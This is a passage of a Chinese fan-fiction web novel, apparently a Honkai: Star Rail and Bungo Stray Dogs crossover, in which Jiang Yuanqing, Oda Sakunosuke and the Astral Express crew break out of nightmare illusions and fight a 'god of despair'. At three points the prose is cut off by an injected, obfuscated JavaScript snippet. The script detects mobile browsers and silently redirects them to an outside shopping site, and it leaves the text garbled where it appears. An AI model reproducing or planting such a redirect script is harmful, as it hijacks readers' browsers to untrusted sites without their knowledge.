做我们家的孩子嚣张点怎么啦! 这么想着,拒绝的话到了嘴边拐个弯变成了“可以,一定要小心”,江沅清笑了一声,趁乱搓了搓织田作之助的柔软的短发。 少年抿唇,视线微微偏转了一点,却没有反抗。 哎?总感觉少了什么? 对哦,是小织同学谴责的视线!他今天竟然没有谴责她?! 哎哎哎?好奇怪?是被掉包了吗? 觉得哪里怪怪的江沅清刚准备把关注的重点分一丝出来给边上的织田作之助,就听到了少年不太自然的声音:“江沅清,雾气越来越重了,星可能有危险。” 连忙提起警惕心的江沅清成功错过了少年逐渐被绯红爬满的耳朵。 他说的这话其实是有的放矢,雾气真的在以肉眼可见的速度在变浓,把江沅清的所有注意力都吸引了过去。 江沅清放眼远眺,发现星的周围聚集起了许多雾气触手,它们层层叠叠地堵着她,把她的四肢困在浓雾中,让她的动作看起来吃力而缓慢。 不好!要被温水煮青蛙了! 努力跑了半天却依旧被围死的星大喊道:“玛德,跟你爆了!” 啊啊啊啊别一言不合就开爆啊喂!这是可以爆的吗! 江沅清的心脏被这GG爆行为搞得差点停止跳动,她大声叫道:“星!我来!” 披着灰色长发的女人艰难回头看向她,那双灿金色的眼睛微微一动。 江沅清看见她在凝实的雾气中努力扑腾着举起手,向后面高高比了个赞。 “老婆!靠你了!” 她向江沅清交付了自己全部的信任。 江沅清微微一笑,侧头看向织田作之助,即使死亡近在咫尺,也没有丝毫的慌张:“小织同学,枪在手里吗?” 少年默默从身后摸出来两把锃亮的手木仓。 “我可以相信你吗,小织同学。” “嗯,”少年单手握着木仓,视线不偏不倚,仿佛可以透过千丝万缕的雾气直视到罪魁祸首一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12840575|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,声音笃定道,“江沅清,我会保护你。” 从这句话落地到他的灵魂彻底湮灭,在这期间,他永远不会让这句话落地。 这是织田作之助对江沅清的承诺。 “嗯,”被保护的对象温和一笑,轻声道,“我相信你,小织同学。” 短暂而漫长的沉默过去了,一声木仓响打破了这里的死寂,随之响起的还有吃痛的咆哮。 那嘶哑的、刺耳的、听起来不像人声的大叫在这片空间回荡的时候,雾气也随之消散了下去,星左右看看,最后选择提着棒球棍揉了揉酸软的手臂,跑到江沅清身边哼哼唧唧道:“动不了,要老婆亲亲才能好!” 江沅清笑眯眯地跟她秋后算账:“我看你刚刚要爆了的架势不像是动不了的样子啊?” 生活作息紊乱,然而她的小心脏现在却健健康康的,这一切都要归功于星。 要不是这孩子三天两头锻炼她的心脏,给它上强度,她早就熬夜猝死了。 感受到她快要冒出脑门的黑气,星有些心虚地咳嗽一声,开始跟她假装委屈:“开个玩笑嘛老婆,你是知道我的,我哪敢啊。” “孩子,这并不好笑。” “……” ……结束了吗? 织田作之助定定看着倒地的那坨肉瘤,张了张嘴刚想说些什么,脸色却倏忽间一凝。 他看见八只挥舞的肉色的触手从那坨肉瘤的身上顶了出来,慢慢延展到了天边! “小心!” 他奋力一拽,把和星还在聊天的江沅清拉到好几米开外。 脸上努力挤出来的委屈还没消失,星手中的棒球棍便和长了眼睛一般弹开了向他们发动偷袭的触手。 巨大的冲击力震得她的手腕发麻,但估算了一下任由自己飞出去会径直撞到江沅清的她颤了颤身体,硬生生吃下去了这道力量。 她又咳了一声:“老婆,没被吓到吧?” 她死了还能一键复活,但是老婆要被剧情杀了可怎么办啊! 江沅清听出来这声可不是刚才那样嗓子没痰又不痒但就是很想咳的做作声音了,她轻轻叹了口气,摇头道:“没事。” 织田作之助低头凝视着着手中的木仓。 “对不起,江沅清,我没能杀死它。” 她其实料到了。 这可是“神”啊,就算是她口头上跑跑火车说跟秩序的星神比起来真的非常山寨和掉份儿,但当它被冠上了“神”名的时候,就已经是凡人无法撼动的对象了。 江沅清垂眸看着掌心的两枚金属骰子,声音不算轻:“是我的问题。” 凡人制造的东西怎么能和神明相比呢?是她托大了。 消散的雾气以一种气势汹汹的架势飞速聚拢了回来,江沅清在被凝成黑烟的雾气彻底淹没之前,遥遥看了一眼约书亚所在的方向。 制造雾气的罪魁祸首已经被肉球吞噬得只剩下一张脸了,子弹穿透的窟窿被疯长的肉芽轻松填补上了,兴许是因为如此,他们融合得更快了——只怕还有分秒,他们就能彻底成为“神”。 而在这点只能弯腰捡个东西的时间,她能做些什么? 事实证明,人类制造的子弹对它没有一点用处,而她也没也远程攻击的手段。 她是那么的渺小。 她什么都做不了。 被染成黑色的浓雾把众人死死缠住,挤压着每一个人的胸膛,似乎要让他们因为窒息而死。 江沅清缓缓闭上了眼睛,感受着耳边如擂鼓般颤动的心跳。 一下、两下、三下…… 她侧头看着一个方向,确信织田作之助就在那边一般,她轻声告诉他:“相信我。” 织田作之助停下了手。 在视线彻底被雾气遮掩之际,两声清脆的骰子落地声在三人耳畔炸响,随后一道奔着肉瘤而来的宛若闪电的长枪直直钉死在了他的身上。 无数雪花飘散了下来,凌厉的剑气划开宛若薄纱的雾,雾气被他们硬生生撕开了一道大口子! 织田作之助的身体为之一松的同时,他听到了一个清脆的女声:“清姐!我们来啦!时间正好!” 是恢复成人形的丹恒他们! 江沅清从地上爬起来,大口喘了两下,呼吸着刚才难得的空气。 她确实什么事情都做不了,但是她有同伴,她的同伴可以做很多很多事情。 啊啊啊啊差点被憋死了!幸好她的同伴们真的很靠谱,看懂了她的骰子指引! 就差一点,她又要和她亲爱的太奶说你好了! 是的,从一开始,江沅清就没有把所有的希望寄托在织田作之助的身上,她很清醒地认识到织田作之助的异能缺陷,也知道他们的一举一动都被所谓的“神”看着。 她让织田作之助去开枪只是一个引诱真凶出现的饵! 而现在,他们终于可以嚷嚷着友谊啊,羁绊啊,展开真正的boss战了! 53.梦魇 举着长弓向她飞快跑过来的三月七单手托着下巴仔细打量了她一圈,确认她脸上不正常的红晕是因为窒息产生的,这才松了口气,小声抱怨道:“清姐,你差点吓死我了!” 没力气说话的江沅清瞥了她一眼,借着她的胳膊站了起来,缓了片刻安慰道:“还好,至少不用找罗刹讨要棺材了。” 三月七瞪大了双眼,似乎很难理解这群人奇怪的喜好:“你怎么也在惦记着他的棺材?” 不小心暴露真心话的江沅清心虚目移,见边上的织田作之助已经恢复得差不多了,便干脆利索地招手示意他过来,偏过头去问道:“小织同学,感觉如何?” 织田作之助点点头,迟疑了片刻,用手背虚虚探上了她的额头。 眼前忽然投下一片阴影,江沅清抬眼看去,正好撞上少年专注的眼睛,不由得笑了一声:“小织同学你是在关心我吗?” 似乎是被她的热气烫到,织田作之助飞快收回手,略有蜷曲地垂在身侧:“嗯。” 幸好足够了解这孩子的性格,江沅清没有被这记直球打懵。 有种“我们家小宝会插秧了哎~”的自豪感,她伸手拍拍他的肩膀,反手比了个赞,笑出一口自信的大白牙:“我感觉非常好。” 她果然是个育儿专家吧!你看啊你快看啊,他现在都会主动关心别人了哎! 不知道从哪个犄角旮旯突然冒出来跟她们两人抱作一团的星举手道:“我也是!打他八百个秩序星神都不带怕的!小小邪神,拿捏!” 不不不,这个还是要怕的! 江沅清光速在内心和星做正义切割。 织田作之助抿唇收回视线,转而投向了浓雾消散之后即将显形的怪物。 一个长着八只手的隐约可以看出一个人形的巨大生物平地而起,仔细看去,可以发现祂每只手上都有一只闭合的眼睛。 麦艾斯!宝娟儿!我的眼睛!这什么东西,长得好眼熟啊,感觉在哪里看见过? 不可能吧,这种丑得牛逼的东西是见过了绝对不会忘记的!偶然间想起来都得叫上一声小别致长得真东西。 江沅清的头有些钝痛,好像有不知道哪来的泥水工在她的脑子上敲敲打打,试图刻下些什么东西。 她闭眼揉了揉太阳穴,按捺住不安的躁动。 丹恒高抬右手猛然一抓空气,将当成标枪投出去的武器拽了回来,他警惕地扫视了一圈四周,单脚点地借力跳到他们身前呈一个保护的姿态,沉声道:“小心。” 冲在最前方的刃不屑冷笑一声,他斜眼瞥过聚成一团的列车众人,随意挽了个剑花,手中长剑散发出阴沉的红光。 “我的死亡,还不配由你带来。” 回应他的是那小别致东西回荡在整片空间的低沉声音:“吾乃绝望之神,不过是蝼蚁之姿,岂敢与吾为敌。” 江沅清轻轻按了按被魔音灌注的耳朵。 对对对,这个味道对了!就是喜欢这种中二又热血的沸腾感觉! 碎裂声骤然响起,江沅清看见那八只手的眼睛在这个瞬间全部睁开。 与此同时,在场的所有人都像是被按下了暂停键一般,一动不动地停在原地,神色呆滞。 不等她说些什么,席卷而上的黑暗将她的全部视野覆盖了起来,加之在她身上的笨拙坠落感让她无法动弹,最终缓缓抽走了她的所有意识。 “……” “清清,清清,快醒醒,喂喂喂别睡了,老师喊你答题呢!” 叽叽喳喳的声音吵得江沅清一个激灵猛然睁开了眼,她迷茫眨眨眼,被旁边的女生推着站了起来。 讲台上的老师推了推眼镜,用教杆敲了敲黑板,严肃道:“江沅清,回答我的问题。” 同桌女生悄悄在课本上圈了个“C”,用胳膊肘小幅度地戳戳她。 她下意识道:“啊,选C。” 老师将粉笔甩回讲桌,随手按了按空气,冷声道:“坐,下课之后来我办公室一趟,好,我们来看这一题的解析……” 江沅清又迷迷糊糊地坐了下来。 同桌女生凑过来低声问道:“清清你怎么了啊?怎么最近都魂不守舍的?这已经是你这个月第八次上课睡觉被老师点名了哎!” 江沅清翻着手中的课本,对着上面明晃晃的“高一上”陷入了沉思,脑子里有什么东西挣扎着想要破土而出,却被一片空白按压了下去。 我现在才高一吗?啊……我上课怎么睡着了?天杀的我自己,难道我竟然是个不学无术的坏学生? 哎?为什么感觉哪里不对? 同桌女生大概是个很爱八卦的性子,追问道:“清清你怎么不说话?难道是因为那件事情?” 江沅清随口问道:“什么事情?” “你不是说要去救一个人的吗?” ……? 她一个高中生,她救什么人?她不应该脊梁弯弯地背着课业艰难前行吗? 难道说她在玩什么中二的东西? “你不是说已经找到办法了吗?你为什么没有做到?你不是很厉害吗?你不是说这一次一定可以吗?为什么你一次次地看着他死在你的眼前却什么也做不到?他会死,他也会死,他们所有人都会死,而你不过是个被命运玩弄的可怜虫罢了。” 同桌女生的声音越来越尖锐,意识到不对,江沅清连忙偏过头去看她,却发现长着和她一模一样脸的同桌面容在扭曲,仿佛有什么东西在撕扯她一样。 周围的景象也像是被送进了烤炉一般扭曲了起来,所有人都在起身背对着她而行,身影被拉得格外长,只有她一个人被留在了原地。 江沅清有些愣怔,胸口忽然一阵泛痛。 被子弹贯彻的染满血的身影和高楼大厦、霓虹灯、披着风衣像鸟儿一样轻盈坠楼的身影交织在一起,让她呆滞地站在原地,神色惘然地伸出手想要抓住些什么。 他们是谁? 她为什么会想哭呢? 一个冰冷的声音通过广播响了起来,紧接着在这里不停地回荡着。 “命运不可更改,你所拥有的一切都会不复存在,你再怎么挣扎也无济于事。” 她……会一无所有吗? 思绪在此时格外迟钝,时间也被拉得十分漫长,长到江沅清的大脑生了锈,卡着一动不动。 “把你交给我吧,”一个好听的声音在她的耳侧轻轻蛊惑道,“不要再去当被命运玩弄的可怜虫,没有人会记住你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928106|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江沅清缓缓闭上了眼,在意识即将沉底的时候,却用力握住了空气。 她缓缓笑了起来。 “我拒绝。” 她听到了有些羞恼的声音:“什么?!” “我说,我拒绝,”江沅清奋力睁开双眼,握住空气的手高高举起,对着广播做出了一个国际友好手势,“有人会记住我,我的同伴们绝不会放弃我。” 在来到这颗星球之前,她兴许还因为潜意识的担忧而有着许多顾虑,但是现在,她可以全然相信列车的大家。 因为她很清楚,他们不会放弃她,他们会为了她不顾一切,打破所有虚妄的梦,最后聚在她的边上,喊出熟悉的称呼。 总结成一句话就是不要小瞧了我们之间的羁绊啊混蛋! 周围一切景象片片碎裂而开,江沅清睁开眼,发现她又回到了方才的那片空间。 好消息是她成功打破了幻象,坏消息是只有她一个人打破了幻象。 包括星在内的所有人,面色都极其凝重,仿佛在遭受着极大的痛苦,冷汗淅淅沥沥地流下来,快要染湿身上厚重的布料了。 喂喂喂!你们这些人或非人都怎么回事啊! 人生哪有什么过不去的坎儿啊!你们到底在幻象里看见了什么啊! 有些汗流浃背地转了一下视线,江沅清发现身边的织田作之助不同于他人,他的脸上只有沉沉的死气,就像是被抽去了所有的神采一般。 ……!!! 喂喂喂?这明显就不对吧! 江沅清走过去搭上了他的手,感受到他的手细微地颤动了一下。 不等她想些什么,周围的景色天旋地转了起来,等江沅清能看清楚的时候,她已经来到了一片灰黑色的空间。 这是一个普普通通的小公园,除了空无一人,除了颜色灰败,除了毫无生机之外……这哪里普通了啊! 这里的一切都被暂停了一样。 是在演死神来了吗?! 江沅清环顾一圈,在不远处的长椅上看见了一个端坐在上面的灰黑色少年。 她没在开玩笑,他整个人都是灰黑色的! 少年神色漠然,空洞的双眼没有一点温度,自然也无法印出世界的倒影。 ……比刚见面的那一会儿都少了很多人气。 啊啊啊啊她好不容易养好的乖宝宝! 她迟疑着喊了一声:“小织同学?” 织田作之助的头微微动了一下。 呜哇,还好,他对外界还有反应! 她差点以为他要在这里一个人演雕像到天荒地老呢! 江沅清浅浅松了口气,朝着他走过去,轻轻对着他伸出了手:“醒醒啦,小织同学,该回去了。” 少年凝视着突兀伸到他眼前的手,眼睛里后知后觉地亮了点奇异的光彩。 他迟钝地把手搭了上去,搭到一半又下意识向后缩了一下,却被那只温暖的手反手攥住。 于是绚烂的色彩忽然在周围炸开,世界活了一样,青草鲜花、蓝天白云、长椅、游人等一切都回归原位。 那双清澈的湛蓝色眼睛温和地看着她。 “我知道你会来找我的。” 也一定会找到他的。 54.绝望 拉着织田作之助回到现实,江沅清侧头一看,发现三月七和刃已经恢复了过来,只是一个脸上带着大梦初醒的恍然,一个则是死气沉沉地想着什么事情。 等等,怎么感觉他下一秒就要吃魔芋爽了? 担心刃的魔阴身发作,她撇下织田作之助,三步并作两步就冲到他身边,没敢轻举妄动,而是探头探脑地在边上打量着他。 刃深吸一口气,微微一眯眼,冷声道:“找死。” 对了对了,就是这个味,还是那个熟悉的拽哥味! 这说明什么,这说明他的魔芋爽还没有拆封! 太好了,不用担心和boss打得你死我活的时候,我方友军一个无差别AOE创飞所有人了。 江沅清悄悄松了口气,没管刃脸上那副看智障的神情,就近抓着星的肩膀进入了她的梦魇中。 她倒要看看什么东西能困住高贵的玩家这么久。 星的梦境主体是一个看起来十分平凡的小屋,不明情况的江沅清做好了充足的心理准备,把之前看过的贞子、伽椰子等一切有名鬼怪都拉过来数了一遍,确认没问题了之后才伸手推开了门。 于是她看见了满屋子御剑飞行的俊俏少年郎们、煮着咖啡的红发大姐姐们、一直在敲手杖的挑染大叔们、背着琴盒行军礼的青年守卫们、拎着刺枪神色坚毅的少女军官们。 什么地狱景象。 江沅清瞳孔地震,不好意思地对着扭头全看过来的密密麻麻的人们礼貌一笑,利索地关上了门。 这么多普池角色,她抽卡到底是歪了多少次啊! 非洲部落还没有把你们失踪的酋长大人找回家吗? 难怪星满脸苍白地躺倒在空空如也的钱包堆上,眼泪喷涌而出,流成长河。 绝望,真的是太绝望了。 ……这根本不对吧!为什么你最深的绝望是这种东西啊! 虽然抽卡全歪确实绝望,但是…… 好吧,如果是星的话,倒也没什么问题。 江沅清哽了片刻,再次推开门,头皮发麻地顶着那群人聚焦在她身上的视线,蹲下身戳了戳半死不活的星。 “我在想,人为什么活着,”化身成为沉思者的星抓着江沅清的手腕,神色悲凄,“活着的意义到底是什么?” 怎么已经快进到丧失活着的兴趣了啊喂!不就是抽卡全歪吗,你振作一点啊! 感觉说出这句话只会让她更加万念俱灰,江沅清无奈叹了口气,俯身凑到星的耳边小声说道:“我在砂金那边存了一百万星琼,只要……” 她的话还没说完就感受到星抓着她的手猛然一个用力,一低头,那双晶晶亮亮的眼睛闪烁着灿烂的光。 星柔软的小脸蛋开始贴贴蹭蹭她的手,声音甜得能挤出蜜来,听得江沅清一阵头皮发麻:“老婆!我的好老婆……我威武大方善良美丽可爱的天神老婆!” 那些抽卡歪出来的角色一个个都在摇着小手帕向他们挥手告别,小屋骤然坍塌,她和星回到了现实。 一回来就嚷嚷着要星琼的星被江沅清按住了肩膀,她指了指神色痛苦的丹恒,摇头叹气道:“星琼这个事情晚点再说,你丹恒老婆要被吞噬了快。” 顺着她手指着的方向看去,眉头紧缩的丹恒头顶隐隐幻化出了两根如玉的龙角,他仿佛坠入了深层次的梦魇中,细细密密的汗珠附着在他的脸上,感觉下一秒就要原地消逝了。 刃在给他的剑附魔,闻言冷笑一声,斜眼看过来:“罪愆无法洗去,过去割舍不了,这是饮月的报应。” 江沅清戳戳边上的星,星过去给了刃一记肘击,震声道:“你到底是哪头的啊?” 就是就是!这种关头还因为你俩的私人恩怨说风凉话,还有没有点大局意识了! 哦,不对,刃可是星核猎手啊,除了按照“剧本”行事以外,他们向来是随心所欲的? 和一位星核猎手的成员无伤同行了这么久,这话说出去就已经足够震惊寰宇了,怎么还…… 她正想着,就听到星不满的发言:“丹恒就是丹恒,饮月就是饮月,你把我两个老婆合二为一了,我不就少了个老婆吗?你又不是唐家某少,怎么能做出来这种无耻老贼行为……” ……喂! 你要不要听听你在说什么啊喂!这不是决战关头吗? 江沅清看见刃唇角刚扬起来的可怕弧度当场垮了下去,态度从想一刀给她捅个对穿变成了你们列车的几个是不是都有病啊。 你这个人好没素质!怎么还开地图炮啊!星的问题怎么和列车有关系了! 难道你能管住你们家的可爱小猫咪让她不要随便给路过的人一个大比兜子吗! 小猫咪的爪子那么柔软,给出去的大比兜子怎么可能疼嘛! 所以怎么想都是刃的错。 不知不觉已经成为熊家长的江沅清理直气壮地回看过去,看得刃脸上的沉默又多了一层。 他好像确实觉得他们列车的几个脑子指不定有点汪洋大海。 站在高处总是要忍受无穷非议的。 江沅清深深叹了口气。 把星拉回来,她想了想,又把三月七和织田作之助叫了过来,叮嘱道:“如果我进去了一会儿还没出来,你们就挨个进来。” 星举手提问道:“我有问题!” 平时冷不丁冒出那些奇葩发言的时候也没见她这样乖过,江沅清瞥了她一眼,就当是陪孩子玩了一般点头道:“请发言。” 星义正辞严道:“我觉得这是葫芦娃救爷爷。” 江沅清沉默片刻,看起来很想从熊家长化身成为送给孩子一个温暖童年的好家长,她叹了口气道:“……那你想怎么做?” 星自信满满,比比划划道:“众所周知,落单就要挨打,我觉得我们可以一起进去,组合成为葫芦小金刚!” 从一个一个死变成一起死是吗? 况且他们加上丹恒才五个人,哪里能组成葫芦小金刚了啊!他们又不是一棵藤上的七朵花啊喂! 缺掉的两个娃让刃影分身去填吗! 江沅清哽了片刻:“……说得很好。” “下次不要再说了”终究还是没能从嘴里吐出来,因为星又眨巴着那双楚楚可怜的可爱大眼睛用她的光滑的小脸贴贴蹭蹭江沅清的胳膊了。 忽略过三月七痛心疾首的眼神和织田作之助若有所思的神情,向来吃软不吃硬的江沅清心虚目移,改口道:“那就一起进去吧,把我们的丹恒带回来。” 丹恒的梦是一片弯弯绕绕的迷宫,林立的黑色断垣残壁一直延展到看不见的尽头,脚下是堆积的泥泞与阴冷的污水,头顶是爬满了青苔的板砖。 这里凄冷阴森,鬼火一样的光幽幽照在众人的脸上,看得三月七不由得紧张地咽了咽口水。 “咱真不是来到了什么幽囚狱?还是说丹恒他超怕十王司啊?好阴暗啊!” 星背手摇头,颇有大师风范地竖起一根手指头叹气道:“这说明丹恒的内心其实是一个阴暗b。” 真以为她能说出些什么于是侧耳认真倾听的江沅清沉默片刻,看上去很想把她搓成一个阴暗b。 “这里大概就是令丹恒感到绝望的化身,”她抿唇细细感受了一下,指着一堵墙道,“从这一直向前走,丹恒就在最深处。” 星举起手指头戳了戳冷硬如陈年老冰的墙砖,又转回来指着自己的脸,瞪大了眼睛耍宝道:“哎?要我上吗?我去撞墙?真的假的?” 明明是该热血沸腾拯救失足小伙伴的情节,却在星这倒霉孩子的搅合下变成了搞笑剧场,江沅清压住差点从唇角溢出来的笑,拍拍星的肩比了个赞道:“是的是的,到你了。” 于是喊着“壮士一去兮不复还”的星一头撞入了墙内。 没有预料之外的事情发生,明明戳起来硬得像是死了三天的尸体,然而当人撞上去的时候,这墙却柔软得不可思议,他们很轻松的就从一堵又一堵的墙上穿过,踩着寒气入骨的脏水来到了一间小小的水牢前。 眸光黯淡的丹恒头顶着一双颜色晶莹的龙角,正被长长的铁链吊在墙边,下半边的身体浸泡在刺骨的冰水中,伤痕累累、血迹斑斑。 他要碎了有时候也可以是个形容词。 一个长着狐狸耳朵却没有脸的人用一种扭曲的不辨男女声音尖锐道:“为什么要否认呢?你就是丹枫,是无法宽恕的罪人,丹恒不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941612|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你的一场美梦罢了……” 丹恒小幅度地挣扎了一下,却被更大的绝望淹没了一般失去了力气,缓缓垂下了手:“不……” 星手中棒球棍亮了,她的神色从来没有一刻像现在这样认真而充满怒火,她冷着一张火冒三丈的脸直奔着水牢而去,一脚踹翻了边上形同虚设的栏杆,大声道:“谁说的!丹恒就是丹恒!丹恒是我们大家的丹恒!三月!咬她!” 同样气得不轻的三月七手中幻化出长弓,听到星的话没忍住脚底一个踉跄,她恼道:“什么叫咬她啊!” 这样一边说着,她张弓拉弦,瞄准了对着丹恒喋喋不休的虚影。 一箭下去,那东西却没有消散。 星怪叫着补上了一记棒球棍,却如同打上了棉花一般,径直从那只狐人的身上穿了过去。 用力过猛导致差点翻车,星在半空调整好姿态安然落地,拎着棒球棍皱眉看着那玩意儿。 江沅清笑了一声。 星向来是肆意妄为的,看起来没心没肺,像只“我只是给脸来你家蹭吃蹭喝”的骄傲小猫,说不定真正遇到事情就当场跑路了。 ……现在看来,根本不是。 这孩子,其实一直在用心地把列车的大家当成家人呢。 她大声提醒道:“这是丹恒绝望的幻象,关键的点还在丹恒!” 看起来最坚韧的一个人,却是被自己的情绪困得最深的一个。 丹恒是一个内心很柔软的孩子啊。 “你根本不是丹恒!” “丹恒你说句话啊!” 这两句叠在一起,一左一右地炸开在丹恒的耳边。 被困在水牢内的主体神色愣怔,时而痛苦时而缓和,最后交织成一团,扭曲了他的脸色。 “丹恒丹恒!列车的书库还等着你去整理呢!” “丹枫,你真想沉溺在虚幻的美梦中吗?” “冷面小青龙!醒醒!到我们去打可可利亚啦!” “丹枫,你身上的罪愆无法洗清!” “丹恒,姬子喊你喝咖啡去了。” “丹枫!你到底还要执迷不悟到什么时候?” 众人的声音和充满蛊惑意味的声音此起彼伏,最后停在星的那句:“丹恒老婆!你再不醒我就要亲你了!” 痛苦闭上的眼睛当场睁开,丹恒涣散的瞳孔渐渐有了神采,他缓慢扫过站在他面前的众人。 江沅清含笑看着他,保持着双手插兜的姿势,身上一成不变的白大褂随着阴冷的风而轻轻飘着。 三月七担忧地盯着他看,见他神智隐约有些清醒了,不由得关切地上前询问道:“丹恒你终于醒啦!吓死我了!” 织田作之助则是侧头看他,看起来在沉思着什么。 忙着哐当哐当敲铁链的大功臣星偏头叹了口气,普信道:“一听我要亲你,你就醒了,丹恒老婆你是不是喜欢我啊?” “……” 三月七没忍住送了她一个硕大的白眼。 听到这样煞风景的话,丹恒却没忍住轻轻笑了。 他的过去兴许无法割舍,但当和他现在有所羁绊的人整整齐齐地站在他的面前,他才真切感受到,他早已获得了新生。 她们很吵,也很闹腾,经常做出一些让人无法理解的事情。 但同样的,也很温暖。 他坚定道:“我是丹恒。” 一切景象都应声碎裂,他们回到了现实,浓云大雾翻滚着,将这片看不见四周的空间染成灰黑的颜色。 重新闭上眼睛的小别致东西声音有些震怒:“为什么我没有收到绝望的力量?” 黑雾随着祂的声音扭曲了起来。 果然,那些梦魇就是祂的手段。 江沅清微笑道:“很简单,因为我们相信,有人会不顾一切来到我的身边,而我有了他们的陪伴,永远不会陷入绝望。” 星的棒球棍消失不见,被她切换成了一柄燃着熊熊烈火的大剑。 她对着那小别致东西高高举起了大剑。 “你的攻击结束了,现在轮到我了,没意见吧?” ……帅是帅了,但你有没有想过,台词串片场了啊喂! 55.终结 帅起来的星一改往日的不靠谱,轻浮的嘻嘻哈哈之色被烈火灼烧得一干二净,取而代之的是满脸的坚毅。 炎枪所到之处,浓烟厚雾全都被烈焰吞食殆尽,她一往无前地拉响了冲锋的号角。 丹恒和三月七紧随其后,所谓的绝望之神见状挥舞着触手拍打着地面,灰尘铺面而来的同时震得江沅清身体颤了颤,差点一个没站稳,好在边上的织田作之助眼疾手快地扶了她一把。 是的,她们柔弱的坐班医生体质是这样的,她错了,下辈子还当。 “江沅清,小心,”织田作之助轻声叮嘱道,他的视线转向战场,又转过头来小声问道,“我可以做什么吗?” 江沅清认真思考了一下:“唔……可以为他们加油打气。” 出乎意料的,少年没有反驳,而是安安静静地点了点头,就这样接受了她的说法。 啊,他就接受了吗?哎?可是他们这些少年人现在不是最意气风发觉得自己能和天斗一斗的时候吗?这种时候难道不该不甘心一下吗? 具体参考一下比他小几岁的彦卿小朋友,主打一个云上五骁人有五名,我一个打仨,输了还能跳起来嚷嚷卑鄙无耻、再来一把的那种。 江沅清对比了一下,觉得她们家孩子有些过于听话和安静了,不由得担心地松口道:“如果你想加入战场也不是不行啦,不过你千万要小心,虽然这不是真正的神,但是能够贯以神名就绝非是普通的东西,是很难对付的存在。” “不想,我想陪着江沅清。” 织田作之助又一次拒绝了她。 这孩子这么乖很容易被欺负的吧! 江沅清忽然意识到了事情的严重性。 你看列车的那几个遇到打架现场,以星为正义第一棒,以三月七为助威啦啦队,以丹恒为架后和事佬,三个人明明什么分工都没有但是当场就化身成为她拉不住的马,眨个眼的功夫就从吃瓜对象变成被吃瓜对象了。 这么一想,果然该给小织同学再来一点保命的东西吧! 江沅清想了想,打算从空间背包里摸出一条可以嫁接伤害的神奇项链送给他。 然而摸到一半却突然想起来她的空间背包被ban了,只好讪讪从口袋里抓出来两粒薄荷糖放到织田作之助身前,言简意赅道:“吃。” 于是少年半句吐槽也没有,真的非常听话地从她的掌心捻起来一粒薄荷糖专心剥好,放进了嘴里。 “好吃。” 他这样评价道。 ……怎么她敢给他就敢吃啊喂! 旁边的战场打得热火朝天,她这个摸鱼怪拉着新养的小摸鱼怪缩在角落安安静静地吃薄荷糖。 虽然确实有着普通人参与不进来他们的神仙大乱斗这个原因在,但是怎么看怎么奇怪吧! 灰尘散尽,一个个衣衫褴褛的身影从地面上躬身站起来,被无数悬挂在触手上的透明的丝线操控着,宛若丧尸一般扑向了站在前方的众人。 看清楚攻击他们的是一个个普通的人,星一个急刹车,炎枪利索地切换成棒球棍将他们敲飞了出去,却被身后无穷无尽的人扑了过去,牢牢压在了人山之下。 她扑棱了半天,最后艰难伸出一只手,高高比起了一个国际友好手势就没了声。 ……大概是亲切问候策划全家去了。 三月七搭着弦的手一顿,在她迟疑的瞬间,也被淹没在了人山之下。 她挣扎着探出一颗脑袋,大喊道:“好卑鄙!怎么会有这么多普通人!” 绝望之神大发慈悲地垂下了视线,回答道:“成为神的信徒,为吾所用,是他们的荣幸。” 和她一样动作有些停顿的丹恒同样被禁锢住了,他仔细观察一圈,沉声道:“他们是被操控的,砍断丝线!” 没有丝毫犹豫,刃听声出刀,长剑所挥之处,鲜血一样的红色光芒大肆亮着,绽放出一朵朵妖艳的彼岸花。 当那道利刃破空之声消失之后,空气短暂地停滞了片刻,一声不似人叫的哀嚎在整片天地间炸响开来。 “不……吾的力量!是谁窃取了吾的力量!” 物理的人山人海在众人眼中消失,连带着那长着八只手的小别致东西也轰然倒地,砸出来大片大片的灰尘和烟雾。 星手脚并用地从地上爬起来,举着棒球棍在那道尸体上戳来戳去,被看着很是头疼的丹恒制止住了。 他面对着星讨要个解释的不满之色,长长叹了口气道:“别乱玩尸体。” 三月七一脸茫然地捋顺了发型,左右看看又上下看看,最后目光停在了从拐角钻出来的江沅清身上:“啊?怎么突然就死了啊?结束了吗?” 不怪众人觉得惊诧,毕竟这怪物的声势过于浩大,而死相却又十分潦草,怎么想都觉得里面是不是埋藏着什么阴谋。 在众人围着逐渐化为脓水的怪物尸体指指点点的时候,一条裂缝被什么人撕了开来,一个戴着帽子的青年男人轻盈跳到地上,他慢条斯理地整理好自己的衣冠之后才和他们的视线对上。 